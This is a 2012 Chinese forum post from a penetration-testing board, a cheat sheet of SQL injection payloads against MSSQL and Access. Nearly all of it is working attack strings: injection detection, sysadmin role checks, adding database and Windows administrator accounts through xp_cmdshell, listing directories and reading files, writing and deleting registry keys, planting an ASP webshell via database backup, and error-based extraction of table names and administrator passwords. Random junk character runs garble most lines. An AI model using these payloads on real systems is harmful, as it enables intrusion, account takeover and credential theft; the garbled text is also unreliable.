中国网络渗透测试联盟

标题: SQL注入常用语句 [打印本页]

作者: admin    时间: 2012-9-15 14:31
标题: SQL注入常用语句
1.判断是否有注入 - t' _- h$ c; c) f7 F: g5 T) L
;and 1=1 0 y" i( `( c8 A  R
;and 1=2
% F, O" X/ Y6 L9 R2 M, ~9 Q9 p
, |$ z  \; p; z9 ^1 g. A4 Z2.初步判断是否是mssql
- y6 J0 i( v" F* G% Y;and user>0
" R0 _, _) n7 Z! l' p" i
3 p: d& @8 F4 N- i& c7 _3.判断数据库系统 ) d0 u: T: Z9 O: f/ r3 |+ a
;and (select count(*) from sysobjects)>0 mssql 2 Y2 {; I7 g' E2 o
;and (select count(*) from msysobjects)>0 access & ^% r$ r9 C3 S8 l' v' J& E
0 Q9 c/ J7 P+ l. [1 z
4.注入参数是字符 - b! `' g7 ]1 L9 G0 D
'and [查询条件] and ''=' : m* w+ ~+ c1 I. S5 _
. R2 _7 e2 e7 G# D* F
5.搜索时没过滤参数的 " A  K: E( v* s
'and [查询条件] and '%25'=' 9 k9 _6 i! {/ ?3 Q# t$ V2 F+ J' I

- P0 y( ^% V' T1 C% N, B' A6.猜数表名
7 _$ V+ i" f2 P% I;and (select Count(*) from [表名])>0
0 R: o% F8 {- A# T2 N7 P- }  f9 o% {* ]9 ^5 Q3 V  C0 B0 c
7.猜字段
5 L% \+ @  K1 N;and (select Count(字段名) from 表名)>0
1 s' d5 _8 B( Y+ A) ?# [  U. I, I: P2 G4 z# F- i( b* w
8.猜字段中记录长度
; q* a# m/ o0 S6 @9 T;and (select top 1 len(字段名) from 表名)>0 # f2 O" D4 P4 z& l4 y: R* u, O

# Z5 o9 X9 M7 g- F: M& @  n9.(1)猜字段的ascii值(access) 7 A' n. b# v1 R+ Q
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0   \# ?$ |1 s* }# X

' n% u: U2 ~& @5 a1 U$ C(2)猜字段的ascii值(mssql)
0 x5 F: ^- V6 J1 G3 g;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
: k$ x1 i' t3 {# {2 L+ |, z& g9 Y5 g* Q0 ?- J% H% ]( n& p- b9 A
10.测试权限结构(mssql)
# W8 V4 Y4 j: d2 E1 p* N;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
  \4 E: G: c, _. e: B;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
) h0 c2 g; O6 v$ t5 p1 `4 t;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2 q: r2 A; a' s! T, c6 f
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 4 v0 Y1 ^) G! ?
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
) Q+ x" q. o$ R  p;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
: [& V: Y6 Z& c;and 1=(select IS_MEMBER('db_owner'));-- . M7 t) U1 W0 c
5 t8 Y: n6 x" \9 `. @0 {
11.添加mssql和系统的帐户
( N# i# V9 ]) {, q;exec master.dbo.sp_addlogin username;-- 8 W/ ^0 @* i, {& j: o& {, E; V; k
;exec master.dbo.sp_password null,username,password;-- ) i3 N9 B6 o0 I0 [7 w& ?7 A
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
) ]! ]& q" X9 g6 O9 Q# W# D;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
, {9 A$ t  e& G$ e3 l8 o8 {+ |;exec master.dbo.xp_cmdshell 'net user username password /add';--
  j% X, L; n# @;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 4 p4 L) s% m. T; Z5 T
6 Y* N2 o' m) @
12.(1)遍历目录 ; K% K& ]3 b% ?' g- j
;create table dirs(paths varchar(100), id int)
$ f9 s7 u  c* B# O# Y7 d;insert dirs exec master.dbo.xp_dirtree 'c:\' ) s; u& b% A. `/ J1 ^+ Z# e
;and (select top 1 paths from dirs)>0
, Q; L9 [6 L$ s4 l8 Q, ~5 R  v' m;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 6 a0 @4 Q, C1 S9 d: ~

7 y' D5 Y  V! h' @# d* F( f(2)遍历目录
. o& Y/ V5 p# o0 ?;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
$ b7 ]2 y. g9 w;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9 ^! H! u) P' k& j6 m
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ) t% r( q1 i4 t6 L, t! e5 S$ F
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 . e8 Q7 r4 K; {0 p
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 , G2 y" G1 R, V+ l$ I  H' _
4 Y1 d% A4 G1 Y" S1 f# k5 u
13.mssql中的存储过程
- N% b3 }. n+ F# Qxp_regenumvalues 注册表根键, 子键
! i5 A- t4 j! z: s) d;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 $ b( D3 S% E; R9 F' b
xp_regread 根键,子键,键值名 5 O/ D) U+ O8 p8 q
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 + v) I6 `% l  w8 X4 d+ U
xp_regwrite 根键,子键, 值名, 值类型, 值 ! O6 a2 H. @* Y9 Q# ]9 ^& I
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
. E, V0 ~. y. F9 S4 t$ ^9 h;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
) L  ?" H7 J# o& pxp_regdeletevalue 根键,子键,值名 $ m# [+ w  k! B# p% L' s% q/ d
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
& j7 B( d# x; L8 @# k* O& }! qxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
! p0 [2 X. y/ g+ @- e5 N! w9 E5 l6 c  T, h
14.mssql的backup创建webshell ' P/ E7 K- ?9 C$ F6 E, \
use model 3 O- T0 x( q0 e
create table cmd(str image); . q5 A, e; Q9 `' E5 O
insert into cmd(str) values ('<% Dim oScript %>');
* \( @5 `; P* s. ^& ^% P0 S) Rbackup database model to disk='c:\l.asp';
/ u/ W: \3 ?3 F2 f; D# ]4 l! p& o0 Q& E+ p6 V7 F
15.mssql内置函数
  c' n5 \) h  W;and (select @@version)>0 获得Windows的版本号 : J. o! Q3 ~7 f. F, k& X9 d# b# Y) @* X
;and user_name()='dbo' 判断当前系统的连接用户是不是sa $ Q  r4 @" F# E% T
;and (select user_name())>0 爆当前系统的连接用户
- {+ {' J. j& n9 Q;and (select db_name())>0 得到当前连接的数据库
4 K: G, S) d! y
1 w: v3 y3 P9 U- I
( A+ H& J1 V5 P* L5 ?
: v! A% c$ n4 R' g" |* C4 NMSSQL手注暴库
) R" B3 @' F# Y1 ^
( d4 \' j# d9 m1.暴出当前表名和列名- b; W1 b; b0 `
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。" B3 b1 {) b& M5 V

2 {  y5 p7 v0 h5 B2 G& q) F第一.爆出所有数据库名
. V4 {* M' P# w: M利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
+ w% n: Z# c- s$ N* k3 J2 h第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
, V% u7 i# c+ p  J
% H/ z( g2 H, }* Rand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
  [' `& n5 E' c1 C9 O) j6 }& Z$ q; `  j1 x6 q: T- ]

# G' }+ H- Q$ o/ z1 T$ f) {第二.爆出指定库中的所有表名
; m: ?0 y2 s; E0 s2 o9 c得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
7 g& _/ r+ H9 a$ {, E再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。. F, A6 D* n7 Y; x7 O6 u
! y( l  h. {" r9 A( S, m) G2 B
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
5 D; }* \) z& e7 k* v9 _and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
, i, r% p1 Q5 J. ?! D% U1 B; m2 oand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
5 |& w- q7 ]6 m" I6 W/ E/ t: I4 d& |3 G0 r/ g
4.爆出指定表中的所有列名
, o* \; U; p+ c% Vand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
% v+ t& Y4 o7 |+ s//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
! ~9 q: W3 b2 w  U( s* F
. M) E6 u0 o1 K1 S$ Hand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名; ^/ k% t+ U" N- k; C
" G4 w4 j% h" i) k8 E3 E
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 3 v/ {, R7 N) V" e, X
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。- n7 L+ w$ p+ l" z; Q$ N: G6 e

9 X( V0 S) G1 L+ m; p
' r2 Y& g/ n( K5 R( tand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值8 S" A7 G  r; X$ Y5 g$ ^0 q) F7 F

8 H5 |9 i9 q4 Tand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名4 H2 {9 g. z; L+ M+ {( O* A
1 k$ m( h4 B0 p; Q- F) z" _
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 2 |9 p) i' `+ i1 A0 W/ h
9 Y4 {" E$ {" r' n4 Q

* ?3 T9 e1 y9 e  i$ _: Y  H' f5 ]/ E! |$ V% ?4 s( e+ ~
5.读取指定表中的数据; ^* C9 J, _. Y; x  i
* j% J- H% P" O0 A" B
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 9 F; k: A7 P- f8 o& A& i
: E$ S9 L9 u  o: v
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
6 C$ C- |, t3 j# L
7 Q# U  Q$ C7 d. Y) mand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码8 G" p  h% m( X. a# T
7 e3 W' z  [2 }; ]+ N
$ f  Y1 s7 P2 J6 ]8 v
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
* i3 C  d' [. B- \, }, w8 m+ g/ U4 j4 W; E% D# D$ ^. c& f
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)7 B( H' q+ `& x4 D
* \4 H2 h  j& y0 [; O0 R9 O
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
/ @4 b: [3 E6 i( u( P
2 Y0 l, _7 o$ [' c! q" A2 i: Q知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
/ ]. t3 n9 Q1 O$ z0 A2 `




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2